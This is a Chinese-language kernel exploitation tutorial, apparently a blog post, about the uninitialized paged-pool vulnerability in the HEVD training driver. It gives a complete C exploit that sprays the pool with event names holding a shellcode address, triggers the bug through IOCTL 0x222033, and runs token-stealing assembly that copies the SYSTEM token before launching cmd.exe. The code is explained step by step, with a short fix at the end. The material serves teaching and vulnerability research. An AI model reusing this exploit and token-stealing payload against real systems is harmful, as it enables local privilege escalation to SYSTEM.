0x00 前言:
windows内核系列:
0x01 漏洞原理:
当我们设置的堆块指针未初始化为NULL
时,那么这个变量会被设置为之前堆块上存在的数据,那么我们就存在使用“堆喷”将堆块数据全部设置为某个值,然后该参数就存在设置为我们想要的指定的shellcode
地址的可能。
漏洞缺陷定位:
漏洞缺陷函数为:TriggerUninitializedMemoryPagedPool
下面是TriggerUninitializedMemoryPagedPool()
调用流程:
函数执行流程:
设置了一个变量UninitializedMemory
,然后调用了ExAllocatePoolWithTag()
申请一块池空间赋值到UninitializedMemory
,其中该池空间在整个程序中都没有被初始化,传入参数UserBuffer
赋值到另一个变量v2
,然后判断变量v2
是否为0xBAD0B0B0
,如果为0xBAD0B0B0
则将未初始化变量UninitializedMemory
赋值到变量UninitializedMemoryPagedPool
函数回调地址赋值到UninitializedMemory
成员Callback
中,不为0xBAD0B0B0
则不给UninitializedMemory
成员Callback
进行赋值操作。然后判断UninitializedMemory
是否为NULL
,不为NULL
则执行UninitializedMemory
成员Callback
指定的回调函数。
如图,可以看到一旦从用户层传入数据不为0xBAD0B0B0
就存在可能利用到未初始化池变量漏洞来跳转到我们的shellcode地址上。
溢出利用
利用EXP:(.c,win32,release生成项目文件)
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
VOID ShellCode() {
__asm {
pushad; 保存各寄存器数据
; start of Token Stealing Stub
xor eax, eax ; eax设置为0
mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax ; 将本进程EPROCESS地址复制到ecx
mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0b8h] ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx ; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID ; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h] ; 获取System进程的Token
mov[ecx + 0f8h], edx ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
; End of Token Stealing Stub
popad
ret ; Return cleanly
}
}
BOOL init() //链接到HEVD.sys
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
HANDLE Event_OBJECT[0x1000];
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
char lpName[0xf0] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0 + 1; //这里只是为了不等于0xBAD0B0B0
memset(lpName, 0x41, 0xf0); //这里配置的大小必须等于ExAllocatePoolWithTag中设置的大小0xF0
printf("lpName is in 0x%p\n", lpName);
for (int i = 0; i < 256; i++)
{
//**************构造池块**************
*(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode; //根据源码获取到Callback成员在_UNINITIALIZED_MEMORY_POOL结构体+0x4上
*(PDWORD)(lpName + 0xf0 - 4) = 0;
*(PDWORD)(lpName + 0xf0 - 3) = 0;
*(PDWORD)(lpName + 0xf0 - 2) = 0;
*(PDWORD)(lpName + 0xf0 - 1) = i;
Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName);
//**************构造池块**************
}
for (int i = 0; i < 256; i++)
{
CloseHandle(Event_OBJECT[i]); //将创建的池块释放,释放的池块就为我们构造的shellcode地址
i += 4;
}
DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}
int main()
{
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
printf("[+]Start to Create cmd...\n");
CreateCmd();
system("pause");
return 0;
}
一、链接到HEVD.sys
BOOL init() //链接到HEVD.sys
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
二、获取函数TriggerUninitializedMemoryPagedPool()
控制码
反汇编IrpDeviceIoCtlHandler
函数获取到控制码为0x222033
所以我们可以得出调用TriggerUninitializedMemoryPagedPool()
的代码
DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
buf
指向我们传入数据的指针*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;
,为了传入参数不等于0xBAD0B0B0
4
表示传入参数的字节数
三、配置堆喷射(Heap Spray)利用
什么是Heap Sprary?
常见的Heap Spray
是将堆块空间都填满滑板指令,然后将我们的shellcode指向地址指向一个固定地址(这个地址在大部分可能的情况下将被堆块所覆盖),如0x0c0c0c0c
,然后我们就可以调用到0x0c0c0c0c
,然后被填充的滑板指令(NOP)一路滑到我们的真实shellcode地址上。
而这种将堆块空间填充的手法我们通常称为Heap Spray
。
详细可以参考:Heap Spray原理浅析
我们先建立一个符合UninitializedMemory
变量相同大小的池块
如上可以看到池块大小为:0xF0
所以我们代码为:
memset(lpName, 0x41, 0xf0); //这里配置的大小必须等于ExAllocatePoolWithTag中设置的pool size大小0xF0
然后我们需要将构造一个“充满指向我们shellcode地址的池块”的堆空间
由于申请池一开始调用的是Lookaside Lists
,而Lookaside Lists
表结构中描述最多能存在256
个块,最小深度是4
,每个4
字节 ==0x1000
所以可以编写代码:
HANDLE Event_OBJECT[0x1000];
我们来看看Lookaside Lists
的表结构:
typedef struct _GENERAL_LOOKASIDE {
SLIST_HEADER ListHead; //内存链表
USHORT Depth; //当前内存列表的最大深度
USHORT MaximumDepth; //整个look aside运行的最大深度
ULONG TotalAllocates; //总共分配了多少次内存
union {
ULONG AllocateMisses; //分配失败的内存,通过Allocate分配
ULONG AllocateHits;
};
ULONG TotalFrees;
union {
ULONG FreeMisses;
ULONG FreeHits;
};
POOL_TYPE Type;
ULONG Tag;
ULONG Size;
PALLOCATE_FUNCTION Allocate; //分配函数
PFREE_FUNCTION Free; //释放函数sss
LIST_ENTRY ListEntry; //ExNPagedLookasideListHead链表
ULONG LastTotalAllocates;
union {
ULONG LastAllocateMisses;
ULONG LastAllocateHits;
};
ULONG Future[2];
} GENERAL_LOOKASIDE, *PGENERAL_LOOKASIDE;
typedef struct _NPAGED_LOOKASIDE_LIST {
GENERAL_LOOKASIDE L;
KSPIN_LOCK Lock;
} NPAGED_LOOKASIDE_LIST, *PNPAGED_LOOKASIDE_LIST;
其中header
占用了0x8
根据源码分析,我们可以看到Callback
成员处于_UNINITIALIZED_MEMORY_POOL
结构体+0x4
上,所以我们需要将shellcode
地址设置到“池块+0x4
”上
*(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode;
当然这个在实战中是Fuzzing
出来的
由上图我们还可以知道整个_UNINITIALIZED_MEMORY_POOL
结构体的实际大小为:0x60
,所以我们申请0xF0
大小的池空间,但实际占用的只有0x60
,所以我们实际可以将lpName
设置为0xF0
,因为占用了_UNINITIALIZED_MEMORY_POOL
空间后还有很多剩余可以给Header
char lpName[0xf0] = { 0 };
在我们可以使用CreateEventA
函数申请池空间,其中调用参数lpName
将分页池给设置成我们需要的数据
但由于lpName
需要每个lpName都不相同,所以我们需要将其设置每个都不同
*(PDWORD)(lpName + 0xf0 - 4) = 0;
*(PDWORD)(lpName + 0xf0 - 3) = 0;
*(PDWORD)(lpName + 0xf0 - 2) = 0;
*(PDWORD)(lpName + 0xf0 - 1) = i;
然后我们就可以循环执行CreateEventA
函数256
次来将池块空间都设置为我们想要的shellcode
地址块
所以完整构建池块的代码:
char lpName[0xf0] = { 0 };
HANDLE Event_OBJECT[0x1000]; //固定最多存在256个块
for (int i = 0; i < 256; i++) //注意这里的256,表示256个块
{
//**************构造池块**************
*(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode; //根据源码获取到Callback成员在_UNINITIALIZED_MEMORY_POOL结构体+0x4上
*(PDWORD)(lpName + 0xf0 - 4) = 0;
*(PDWORD)(lpName + 0xf0 - 3) = 0;
*(PDWORD)(lpName + 0xf0 - 2) = 0;
*(PDWORD)(lpName + 0xf0 - 1) = i;
Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName); //只有lpName一个参数有数据
//**************构造池块**************
}
然后我们要将所有池块释放进而再执行TriggerUninitializedMemoryPagedPool()
中的ExAllocatePoolWithTag()
函数来获取到我们已经释放的哪些指向shellcode
的空闲池块
注意点:由于每个Lookaside Lists
表最小深度是4
,所以我们释放池块时是每隔4个块释放一次
for (int i = 0; i < 256; i++)
{
CloseHandle(Event_OBJECT[i]); //将创建的池块释放,释放的池块就为我们构造的shellcode地址
i += 4; //每隔4个块
}
四、配置shellcode函数
shellcode
将系统进程的Token
拷贝到了我们的exp
进程上
VOID ShellCode() {
__asm {
pushad ; 保存各寄存器数据
; start of Token Stealing Stub
xor eax, eax ; eax设置为0
mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax ; 将本进程EPROCESS地址复制到ecx
mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0b8h] ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx ; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID ; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h] ; 获取System进程的Token
mov[ecx + 0f8h], edx ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
; End of Token Stealing Stub
popad
ret ; Return cleanly
}
}
五、配置使用本进程Token启动CMD
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
0x02 利用成功:
0x03 修复方案:
在判断v2
不等于0xBAD0B0B0
是要执行下面语句对UninitializedMemory
释放且设置为NULL
ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);
UninitializedMemory = NULL;